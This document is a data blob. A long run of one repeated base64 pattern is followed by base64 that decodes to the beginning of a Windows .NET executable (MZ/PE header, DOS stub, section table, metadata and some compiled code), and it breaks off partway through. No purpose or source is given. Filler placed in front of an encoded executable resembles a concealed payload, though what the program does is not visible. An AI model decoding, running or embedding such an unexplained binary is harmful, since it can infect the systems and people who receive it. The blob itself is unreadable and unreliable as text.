QBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAAAATVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKLkp1kAAAAAAAAAAOAAAgELAQgAAAoAAAAIAAAAAAAA7igAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJQoAABXAAAAAEAAANAEAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA9AgAAAAgAAAACgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAANAEAAAAQAAAAAYAAAAMAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADQKAAAAAAAAEgAAAACAAUAlCEAAAAHAAABAAAABgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoCKAQAAAoAAAAqABswAgCVAAAAAQAAEQAoBQAACgoGbwYAAAoABnMHAAAKCwZvCAAACgwIbwkAAAoCbwoAAAoACG8LAAAKDQZvDAAACgBzDQAAChMEAAlvDgAAChMHKxURB28PAAAKEwUAEQQRBW8QAAAKJgARB28RAAAKEwgRCC3e3hQRBxT+ARMIEQgtCBEHbxIAAAoA3AARBG8TAAAKbxQAAAoTBisAEQYqAAAAARAAAAIARwAmbQAUAAAAABswAgBKAAAAAgAAEQAoAQAABgoGFigCAAAGJgAoFQAACgIoFgAACm8XAAAKCwcoBAAABiYA3h0mACgVAAAKAigWAAAKbxcAAAoLBygEAAAGJgDeAAAqAAABEAAAAAAPABwrAB0BAAABEzACABAAAAADAAARACgBAAAGCgYWKAIAAAYmKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAAGACAAAjfgAAzAIAADADAAAjU3RyaW5ncwAAAAD8BQAACAAAACNVUwAEBgAAEAAAACNHVUlEAAAAF